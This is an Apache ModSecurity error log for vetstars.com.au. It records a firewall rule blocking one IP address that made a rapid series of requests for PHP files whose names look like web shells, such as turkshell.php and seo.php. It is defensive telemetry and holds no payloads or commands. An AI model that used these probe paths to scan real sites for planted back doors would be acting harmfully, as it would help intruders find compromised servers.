[Thu Apr 16 07:15:45.956856 2026] [:error] [pid 29603:tid 29618] [client 4.231.201.132:18064] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeAcIVfGOR6fpTWUAzrdWwAAAQ0"]
[Thu Apr 16 07:15:46.495674 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:18050] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeAcIjbDwvcXorHR_Myt7gAAAVY"]
[Thu Apr 16 07:15:47.035344 2026] [:error] [pid 49094:tid 49120] [client 4.231.201.132:18151] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeAcIzbDwvcXorHR_Myt7wAAAVg"]
[Thu Apr 16 07:15:47.671492 2026] [:error] [pid 29603:tid 29616] [client 4.231.201.132:18067] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aeAcI1fGOR6fpTWUAzrdXwAAAQs"]
[Thu Apr 16 07:15:48.213943 2026] [:error] [pid 49094:tid 49106] [client 4.231.201.132:18167] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeAcJDbDwvcXorHR_Myt8QAAAUo"]
[Thu Apr 16 07:15:48.744072 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18130] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeAcJDbDwvcXorHR_Myt8gAAAUw"]
[Thu Apr 16 07:15:49.262430 2026] [:error] [pid 49094:tid 49117] [client 4.231.201.132:18078] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeAcJTbDwvcXorHR_Myt8wAAAVU"]
[Thu Apr 16 07:15:49.807336 2026] [:error] [pid 57537:tid 57585] [client 4.231.201.132:18165] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/popo.php"] [unique_id "aeAcJVVQRS8nm73ENAk9nwAAAEo"]
[Thu Apr 16 07:15:50.346156 2026] [:error] [pid 57538:tid 57619] [client 4.231.201.132:18120] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeAcJsuMaiEF5SVR2BdHUQAAAJE"]
[Thu Apr 16 07:15:50.951941 2026] [:error] [pid 57537:tid 57586] [client 4.231.201.132:18161] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeAcJlVQRS8nm73ENAk9oQAAAEs"]
[Thu Apr 16 07:15:51.511462 2026] [:error] [pid 57639:tid 57648] [client 4.231.201.132:18059] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeAcJ6MCQoTw7TsxWunWXAAAAMI"]
[Thu Apr 16 07:15:52.059433 2026] [:error] [pid 57639:tid 57656] [client 4.231.201.132:18079] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/water.php"] [unique_id "aeAcKKMCQoTw7TsxWunWXQAAAMo"]
[Thu Apr 16 07:15:52.596471 2026] [:error] [pid 57537:tid 57576] [client 4.231.201.132:18051] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeAcKFVQRS8nm73ENAk9ogAAAEE"]
[Thu Apr 16 07:15:53.115558 2026] [:error] [pid 49094:tid 49111] [client 4.231.201.132:18106] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeAcKTbDwvcXorHR_Myt-AAAAU8"]
[Thu Apr 16 07:15:53.628346 2026] [:error] [pid 49094:tid 49118] [client 4.231.201.132:18175] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeAcKTbDwvcXorHR_Myt-gAAAVY"]
[Thu Apr 16 07:15:54.150677 2026] [:error] [pid 57538:tid 57612] [client 4.231.201.132:18171] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ggb.php"] [unique_id "aeAcKsuMaiEF5SVR2BdHUgAAAIo"]
[Thu Apr 16 07:15:54.705980 2026] [:error] [pid 49094:tid 49105] [client 4.231.201.132:18114] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeAcKjbDwvcXorHR_Myt_QAAAUk"]
[Thu Apr 16 07:15:55.230107 2026] [:error] [pid 57538:tid 57615] [client 4.231.201.132:18117] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeAcK8uMaiEF5SVR2BdHVAAAAI0"]
[Thu Apr 16 07:15:55.763370 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18049] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeAcKzbDwvcXorHR_Myt_wAAAUw"]
[Thu Apr 16 07:15:56.313570 2026] [:error] [pid 57639:tid 57651] [client 4.231.201.132:8138] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aeAcLKMCQoTw7TsxWunWYAAAAMU"]
[Thu Apr 16 07:15:56.843170 2026] [:error] [pid 49094:tid 49110] [client 4.231.201.132:18160] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aeAcLDbDwvcXorHR_MyuAgAAAU4"]
[Thu Apr 16 07:15:57.368892 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:18103] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aeAcLTbDwvcXorHR_MyuAwAAAUc"]
[Thu Apr 16 07:15:57.930713 2026] [:error] [pid 49094:tid 49119] [client 4.231.201.132:18174] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aeAcLTbDwvcXorHR_MyuBQAAAVc"]
[Thu Apr 16 07:15:58.568842 2026] [:error] [pid 57639:tid 57668] [client 4.231.201.132:18056] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wert.php"] [unique_id "aeAcLqMCQoTw7TsxWunWYQAAANY"]
[Thu Apr 16 07:15:59.112173 2026] [:error] [pid 57538:tid 57620] [client 4.231.201.132:18081] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeAcL8uMaiEF5SVR2BdHVQAAAJI"]
[Thu Apr 16 07:15:59.643627 2026] [:error] [pid 57538:tid 57611] [client 4.231.201.132:18144] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeAcL8uMaiEF5SVR2BdHVgAAAIk"]
[Thu Apr 16 07:16:00.180882 2026] [:error] [pid 49094:tid 49100] [client 4.231.201.132:18084] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeAcMDbDwvcXorHR_MyuCAAAAUQ"]
[Thu Apr 16 07:16:00.759118 2026] [:error] [pid 57538:tid 57623] [client 4.231.201.132:18118] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "aeAcMMuMaiEF5SVR2BdHVwAAAJU"]
[Thu Apr 16 07:16:01.377983 2026] [:error] [pid 57537:tid 57595] [client 4.231.201.132:18112] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeAcMVVQRS8nm73ENAk9qgAAAFQ"]
[Thu Apr 16 07:16:01.886685 2026] [:error] [pid 57639:tid 57667] [client 4.231.201.132:18057] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeAcMaMCQoTw7TsxWunWZAAAANU"]
[Thu Apr 16 07:16:02.434120 2026] [:error] [pid 57639:tid 57663] [client 4.231.201.132:18148] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeAcMqMCQoTw7TsxWunWZQAAANE"]
[Thu Apr 16 07:16:03.013463 2026] [:error] [pid 57639:tid 57650] [client 4.231.201.132:18116] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/p.php"] [unique_id "aeAcM6MCQoTw7TsxWunWZgAAAMQ"]
[Thu Apr 16 07:16:03.580361 2026] [:error] [pid 57537:tid 57579] [client 4.231.201.132:18141] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "aeAcM1VQRS8nm73ENAk9rgAAAEQ"]
[Thu Apr 16 07:16:04.132773 2026] [:error] [pid 57537:tid 57593] [client 4.231.201.132:18128] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "aeAcNFVQRS8nm73ENAk9sAAAAFI"]
[Thu Apr 16 07:16:04.772362 2026] [:error] [pid 57639:tid 57658] [client 4.231.201.132:18054] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "aeAcNKMCQoTw7TsxWunWaQAAAMw"]
[Thu Apr 16 07:16:05.330881 2026] [:error] [pid 49094:tid 49097] [client 4.231.201.132:18058] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oij98gy.php"] [unique_id "aeAcNTbDwvcXorHR_MyuCwAAAUE"]
[Thu Apr 16 07:16:05.913594 2026] [:error] [pid 57537:tid 57587] [client 4.231.201.132:8150] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeAcNVVQRS8nm73ENAk9sgAAAEw"]
[Thu Apr 16 07:16:06.499527 2026] [:error] [pid 57639:tid 57657] [client 4.231.201.132:18077] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeAcNqMCQoTw7TsxWunWawAAAMs"]
[Thu Apr 16 07:16:07.085263 2026] [:error] [pid 49094:tid 49101] [client 4.231.201.132:18170] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeAcNzbDwvcXorHR_MyuDAAAAUU"]
[Thu Apr 16 07:16:07.610045 2026] [:error] [pid 29603:tid 29610] [client 4.231.201.132:18060] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aeAcN1fGOR6fpTWUAzrdZwAAAQU"]
[Thu Apr 16 07:16:08.125452 2026] [:error] [pid 57639:tid 57648] [client 4.231.201.132:18125] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "aeAcOKMCQoTw7TsxWunWbQAAAMI"]
[Thu Apr 16 07:16:08.683914 2026] [:error] [pid 29603:tid 29607] [client 4.231.201.132:18147] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "aeAcOFfGOR6fpTWUAzrdagAAAQI"]
[Thu Apr 16 07:16:09.274374 2026] [:error] [pid 49094:tid 49116] [client 4.231.201.132:18061] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "aeAcOTbDwvcXorHR_MyuDwAAAVQ"]
[Thu Apr 16 07:16:10.242974 2026] [:error] [pid 49094:tid 49115] [client 4.231.201.132:18070] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/turkshell.php"] [unique_id "aeAcOjbDwvcXorHR_MyuEgAAAVM"]
[Thu Apr 16 07:16:10.757112 2026] [:error] [pid 57536:tid 57552] [client 4.231.201.132:18048] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeAcOiQU4faGja6jpDuI5gAAAAQ"]
[Thu Apr 16 07:16:11.558678 2026] [:error] [pid 57537:tid 57576] [client 4.231.201.132:18153] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeAcO1VQRS8nm73ENAk9tQAAAEE"]
[Thu Apr 16 07:16:12.156870 2026] [:error] [pid 57538:tid 57624] [client 4.231.201.132:18089] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeAcPMuMaiEF5SVR2BdHYQAAAJY"]
[Thu Apr 16 07:16:12.665592 2026] [:error] [pid 49094:tid 49108] [client 4.231.201.132:18082] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tea.php"] [unique_id "aeAcPDbDwvcXorHR_MyuFQAAAUw"]
[Thu Apr 16 07:16:13.185131 2026] [:error] [pid 49094:tid 49110] [client 4.231.201.132:18146] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeAcPTbDwvcXorHR_MyuFwAAAU4"]
[Thu Apr 16 07:16:13.753729 2026] [:error] [pid 57639:tid 57661] [client 4.231.201.132:18166] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeAcPaMCQoTw7TsxWunWcwAAAM8"]
[Thu Apr 16 07:16:14.307572 2026] [:error] [pid 49094:tid 49103] [client 4.231.201.132:18091] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeAcPjbDwvcXorHR_MyuHAAAAUc"]
[Thu Apr 16 07:16:14.832995 2026] [:error] [pid 29603:tid 29617] [client 4.231.201.132:18094] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/seo.php"] [unique_id "aeAcPlfGOR6fpTWUAzrdbwAAAQw"]
[Thu Apr 16 07:16:15.391068 2026] [:error] [pid 29603:tid 29613] [client 4.231.201.132:18090] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeAcP1fGOR6fpTWUAzrdcQAAAQg"]
[Thu Apr 16 07:16:15.974833 2026] [:error] [pid 57538:tid 57626] [client 4.231.201.132:8163] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeAcP8uMaiEF5SVR2BdHYwAAAJg"]
[Thu Apr 16 07:16:16.599411 2026] [:error] [pid 29603:tid 29612] [client 4.231.201.132:18110] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeAcQFfGOR6fpTWUAzrdcgAAAQc"]
[Thu Apr 16 07:16:17.127425 2026] [:error] [pid 57536:tid 57570] [client 4.231.201.132:8137] [client 4.231.201.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/7.php"] [unique_id "aeAcQSQU4faGja6jpDuI6QAAABY"]
